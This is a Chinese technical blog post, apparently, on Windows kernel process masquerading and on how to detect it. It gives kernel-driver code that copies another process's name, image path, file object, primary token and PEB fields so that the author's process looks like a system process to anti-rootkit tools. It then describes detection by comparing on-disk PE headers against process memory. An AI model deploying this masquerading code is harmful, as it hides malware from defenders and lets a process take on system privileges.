首先演示下进程伪装的效果
伪装前
伪装后
ark 显示的信息
通过测试发现,可以伪装成系统进程或者其他正常应用,来迷惑 ark 工具的查询;相比隐藏进程而言更加稳定和隐蔽。
伪装进程的实现方式:
1. 傀儡进程,这种方法 3 环也可实现,原理类似 LoadPE, 在进程内存中手动拉伸修复我们的可执行程序。
2. 修改进程结构体信息达到伪装。这种进程伪装核心思想: 把要伪装成进程的各种信息复制到当前进程,并且不能干扰操作系统正常运行程序。可以理解为就是疯狂 CV。
2 的基本实现
1. 复制 eprocess 中的 ImageFileName[15] 进程名
BOOLEAN fake_processimagename(PEPROCESS dest, PEPROCESS my)
{PCHAR destName = (PsGetProcessImageFileName)(dest);
PCHAR myName = (PsGetProcessImageFileName)(my);
(memcpy)(myName, destName, 15);
return TRUE;
}
2. 复制 eprocess 中的 SeAuditProcessCreationInfo 进程全路径
//0x8 bytes (sizeof)
struct _SE_AUDIT_PROCESS_CREATION_INFO
{struct _OBJECT_NAME_INFORMATION* ImageFileName; //0x0};
PUNICODE_STRING myFullName = NULL;
PUNICODE_STRING destFullName = NULL;
(SeLocateProcessImageName)(my, &myFullName);
(SeLocateProcessImageName)(dest, &destFullName);
PUNICODE_STRING newname = (PUNICODE_STRING)(ExAllocatePool)(NonPagedPool, destFullName->MaximumLength);
newname->Length = destFullName->Length;
newname->MaximumLength = destFullName->MaximumLength;
newname->Buffer = destFullName->Buffer;
(memcpy)(newname->Buffer, destFullName->Buffer, destFullName->Length);
*((PULONG64)((PUCHAR)my + get_eprocess_imagefilename_offset())) = (ULONG64)newname;
(ExFreePool)(myFullName);
return TRUE;
3. 复制 eprocess 中的 ImageFilePointer 文件对象
BOOLEAN bRet = FALSE;
PFILE_OBJECT pFileObject = NULL;
WCHAR* szNewFullName = NULL;
if (szFullName == NULL || Process == NULL)
return FALSE;
szNewFullName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
if (szNewFullName == NULL)
return FALSE;
RtlZeroMemory(szNewFullName, KMAX_PATH * 2);
if (!NT_SUCCESS(PsReferenceProcessFilePointer(Process, &pFileObject)))
return FALSE;
if (pFileObject->FileName.Length >= wcslen(szFullName) * 2)
{RtlZeroMemory(pFileObject->FileName.Buffer, pFileObject->FileName.MaximumLength);
RtlCopyMemory(pFileObject->FileName.Buffer, szFullName, wcslen(szFullName) * 2);
pFileObject->FileName.Length = wcslen(szFullName) * 2;
ExFreePool(szNewFullName);
bRet = TRUE;
}
else
{RtlCopyMemory(szNewFullName, szFullName, wcslen(szFullName) * 2);
pFileObject->FileName.Buffer = szNewFullName;
pFileObject->FileName.Length = wcslen(szFullName) * 2;
pFileObject->FileName.MaximumLength = KMAX_PATH * 2;
bRet = TRUE;
}
ObDereferenceObject(pFileObject);
return bRet;
4. 复制 eprocess 中的 Token 令牌
PACCESS_TOKEN pSystemToken = (PACCESS_TOKEN)(PsReferencePrimaryToken)(dest);
PACCESS_TOKEN MyToken = (PACCESS_TOKEN)(PsReferencePrimaryToken)(my);
* ((PULONG64)((PUCHAR)my + get_eprocess_token_offset())) = (ULONG64)pSystemToken;
(ObfDereferenceObject)(pSystemToken);
(ObfDereferenceObject)(MyToken);
5. 复制 eprocess 中的 Peb 环境块 注意 32 位程序与 64 位程序不同,这里只展示 64 位的,记得 CommandLine,WindowTitle,CurrentDirectory 也要复制不然 ark 一眼看出差距。
PPEB64 destPeb = (PPEB64)(PsGetProcessPeb)(dest);
PPEB64 myPeb = (PPEB64)(PsGetProcessPeb)(my);
if (!destPeb || !myPeb) return 0;
KAPC_STATE fakeApcState = {0};
KAPC_STATE srcApcState = {0};
UNICODE_STRING ImagePathName = {0};
UNICODE_STRING CommandLine = {0};
UNICODE_STRING WindowTitle = {0};
UNICODE_STRING dospath={0};
ULONG64 Handle=0;
(KeStackAttachProcess)(dest, &srcApcState);
SIZE_T pro = NULL;
(MmCopyVirtualMemory)(dest, destPeb, dest, destPeb, 1, UserMode, &pro);
(MmCopyVirtualMemory)(dest, destPeb->ProcessParameters, dest, destPeb->ProcessParameters, 1, UserMode, &pro);
// 复制 ImagePathName
if (destPeb->ProcessParameters->ImagePathName.Length)
{ImagePathName.Buffer = (PWCH)(ExAllocatePool)(NonPagedPool, destPeb->ProcessParameters->ImagePathName.MaximumLength);
(memcpy)(ImagePathName.Buffer, destPeb->ProcessParameters->ImagePathName.Buffer, destPeb->ProcessParameters->ImagePathName.Length);
ImagePathName.Length = destPeb->ProcessParameters->ImagePathName.Length;
ImagePathName.MaximumLength = destPeb->ProcessParameters->ImagePathName.MaximumLength;
}
// 复制 CommandLine
if (destPeb->ProcessParameters->CommandLine.Length)
{CommandLine.Buffer = (PWCH)(ExAllocatePool)(NonPagedPool, destPeb->ProcessParameters->CommandLine.MaximumLength);
(memcpy)(CommandLine.Buffer, destPeb->ProcessParameters->CommandLine.Buffer, destPeb->ProcessParameters->CommandLine.Length);
CommandLine.Length = destPeb->ProcessParameters->CommandLine.Length;
CommandLine.MaximumLength = destPeb->ProcessParameters->CommandLine.MaximumLength;
}
// 复制 WindowTitle
if (destPeb->ProcessParameters->WindowTitle.Length)
{WindowTitle.Buffer = (PWCH)(ExAllocatePool)(NonPagedPool, destPeb->ProcessParameters->WindowTitle.MaximumLength);
(memcpy)(WindowTitle.Buffer, destPeb->ProcessParameters->WindowTitle.Buffer, destPeb->ProcessParameters->WindowTitle.Length);
WindowTitle.Length = destPeb->ProcessParameters->WindowTitle.Length;
WindowTitle.MaximumLength = destPeb->ProcessParameters->WindowTitle.MaximumLength;
}
// 复制 CurrentDirectory
if (destPeb->ProcessParameters->CurrentDirectory.DosPath.Length)
{dospath.Buffer = (PWCH)(ExAllocatePool)(NonPagedPool, destPeb->ProcessParameters->CurrentDirectory.DosPath.MaximumLength);
(memcpy)(dospath.Buffer, destPeb->ProcessParameters->CurrentDirectory.DosPath.Buffer, destPeb->ProcessParameters->CurrentDirectory.DosPath.Length);
dospath.Length = destPeb->ProcessParameters->CurrentDirectory.DosPath.Length;
dospath.MaximumLength = destPeb->ProcessParameters->CurrentDirectory.DosPath.MaximumLength;
Handle = (ULONG64)destPeb->ProcessParameters->CurrentDirectory.Handle;
}
(KeUnstackDetachProcess)(&srcApcState);
// 附加要伪装的进程,并复制
(KeStackAttachProcess)(my, &fakeApcState);
(MmCopyVirtualMemory)(my, myPeb, my, myPeb, 1, UserMode, &pro);
(MmCopyVirtualMemory)(my, myPeb->ProcessParameters, my, myPeb->ProcessParameters, 1, UserMode, &pro);
// 复制 ImagePathName
myPeb->ProcessParameters->ImagePathName.Length = ImagePathName.Length;
myPeb->ProcessParameters->ImagePathName.MaximumLength = ImagePathName.MaximumLength;
myPeb->ProcessParameters->ImagePathName.Buffer = ImagePathName.Buffer;
// 复制 CommandLine
myPeb->ProcessParameters->CommandLine.Length = CommandLine.Length;
myPeb->ProcessParameters->CommandLine.MaximumLength = CommandLine.MaximumLength;
myPeb->ProcessParameters->CommandLine.Buffer = CommandLine.Buffer;
// 复制 WindowTitle
myPeb->ProcessParameters->WindowTitle.Length = WindowTitle.Length;
myPeb->ProcessParameters->WindowTitle.MaximumLength = WindowTitle.MaximumLength;
myPeb->ProcessParameters->WindowTitle.Buffer = WindowTitle.Buffer;
// 复制 CurrentDirectory
myPeb->ProcessParameters->CurrentDirectory.DosPath.Length = dospath.Length;
myPeb->ProcessParameters->CurrentDirectory.DosPath.MaximumLength = dospath.MaximumLength;
myPeb->ProcessParameters->CurrentDirectory.DosPath.Buffer = dospath.Buffer;
myPeb->ProcessParameters->CurrentDirectory.Handle = (PVOID)Handle;
(KeUnstackDetachProcess)(&fakeApcState);
if (ImagePathName.Length) (ExFreePool)(ImagePathName.Buffer);
if (CommandLine.Length) (ExFreePool)(CommandLine.Buffer);
if (WindowTitle.Length) (ExFreePool)(WindowTitle.Buffer);
if (dospath.Length) (ExFreePool)(dospath.Buffer);
6. 到此为止一个最基本的伪装进程已经实现,当然还有好多细节没有 copy,细节就靠个人发挥了。
查询伪装进程
那么问题来了,如果恶意程序进行了伪装,我们应该如何查询呢?
俗话说的好,假的永远是假的,代替不了真的。下面介绍几个常见的查询点:
1. 模块,虽然主模块可以伪装一致,但是其他模块和模块数量明显的差异, 且模块大小和基地址都可能存在差异
2. 窗口,如果伪装成例如系统进程 csrss.exe 是没有窗口的
3. 其他进程结构体,一般进程伪装不会完美伪装每一个细节,可以从细节信息对比差异,如 eprocess 中的 ImagePathHash,不过本人不会从这里查,我假设伪装者很努力,复制了所有细节并且使用 pdb 解析完美兼容所有系统。
4.dump 可疑进程内存,并上传样本;不过对于个人而言还是太吃经济了。
5. 线程,很难保证伪装和被伪装的线程一致
6. 内存对比,伪装后进程的文件对象被修改成被伪装进程的对象,我们可以利用这一点反其道而行,读取路径中文件的 pe 信息与进程内存相比较。
本人采用的思路是第六种,具体操作对比 pe 可选头中的镜像大小 SizeOfImage, 入口点 AddressOfEntryPoint,以及入口点的前几个字节,简单有效
// 大小: 32bit(0xE0) 64bit(0xF0)
typedef struct _IMAGE_OPTIONAL_HEADER {
WORD Magic; // 文件类型: 10bh 为 32 位 PE 文件 / 20bh 为 64 位 PE 文件
BYTE MajorLinkerVersion; // 链接器 (主) 版本号 对执行没有任何影响
BYTE MinorLinkerVersion; // 链接器 (次) 版本号 对执行没有任何影响
DWORD SizeOfCode; // 包含代码的节的总大小. 文件对齐后的大小. 编译器填的没用
DWORD SizeOfInitializedData; // 包含已初始化数据的节的总大小. 文件对齐后的大小. 编译器填的没用.
DWORD SizeOfUninitializedData; // 包含未初始化数据的节的总大小. 文件对齐后的大小. 编译器填的没用.(未初始化数据, 在文件中不占用空间; 但在被加载到内存后,PE 加载程序会为这些数据分配适当大小的虚拟地址空间).
DWORD AddressOfEntryPoint; // 程序入口(RVA)
DWORD BaseOfCode; // 代码的节的基址(RVA). 编译器填的没用(代码节起始的 RVA, 表示映像被加载进内存时代码节的开头相对于 ImageBase 的偏移地址, 节的名称通常为 ".text")
DWORD BaseOfData; // 数据的节的基址(RVA). 编译器填的没用(数据节起始的 RVA, 表示映像被加载进内存时数据节的开头相对于 ImageBase 的偏移地址, 节的名称通常为 ".data")
DWORD ImageBase; // 内存镜像基址
DWORD SectionAlignment; // 内存对齐大小
DWORD FileAlignment; // 文件对齐大小
WORD MajorOperatingSystemVersion; // 标识操作系统主版本号
WORD MinorOperatingSystemVersion; // 标识操作系统次版本号
WORD MajorImageVersion; //PE 文件自身的主版本号
WORD MinorImageVersion; //PE 文件自身的次版本号
WORD MajorSubsystemVersion; // 运行所需子系统主版本号
WORD MinorSubsystemVersion; // 运行所需子系统次版本号
DWORD Win32VersionValue; // 子系统版本的值. 必须为 0, 否则程序运行失败.
DWORD SizeOfImage; // 内存中整个 PE 文件的映射尺寸. 可比实际的值大. 必须是 SectionAlignment 的整数倍
DWORD SizeOfHeaders; // 所有头 + 节表按照文件对齐后的大小.
DWORD CheckSum; // 校验和. 大多数 PE 文件该值为 0. 在内核模式的驱动程序和系统 DLL 中, 该值则是必须存在且是正确的. 在 IMAGEHLP.DLL 中函数 CheckSumMappedFile 就是用来计算文件头校验和的, 对于整个 PE 文件也有一个校验函数 MapFileAndCheckSum.
WORD Subsystem; // 文件子系统 驱动程序(1) 图形界面(2) 控制台 /DLL(3)
WORD DllCharacteristics; // 文件特性. 不是针对 DLL 文件的
DWORD SizeOfStackReserve; // 初始化时保留的栈大小. 该字段默认值为 0x100000(1MB), 如果调用 API 函数 CreateThread 时, 堆栈参数大小传入 NULL, 则创建出来的栈大小将是 1MB.
DWORD SizeOfStackCommit; // 初始化时实际提交的栈大小. 保证初始线程的栈实际占用内存空间的大小, 它是被系统提交的. 这些提交的栈不存在与交换文件里, 而是在内存中.
DWORD SizeOfHeapReserve; // 初始化时保留的堆大小. 用来保留给初始进程堆使用的虚拟内存, 这个堆的句柄可以通过调用函数 GetProcessHeap 获得. 每一个进程至少会有一个默认的进程堆, 该堆在进程启动时被创建, 而且在进程的生命期中不会被删除. 默认值为 1MB.
DWORD SizeOfHeapCommit; // 初始化时实践提交的堆大小. 在进程初始化时设定的堆所占用的内存空间, 默认值为 PAGE_SIZE.
DWORD LoaderFlags; // 调试相关
DWORD NumberOfRvaAndSizes; // 目录项数目, 默认为 10h.
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];// 结构数组 数组元素个数由 IMAGE_NUMBEROF_DIRECTORY_ENTRIES 定义
} IMAGE_OPTIONAL_HEADER32, * PIMAGE_OPTIONAL_HEADER32;
代码没啥可看的,太水了,当然文章讲述的更多是思路,也不排除是本人太懒。
检测伪装进程演示:
正常程序,文件和内存镜像一致
伪装后的两个程序
对比内存和文件后发现不一致,可以判定疑似伪装








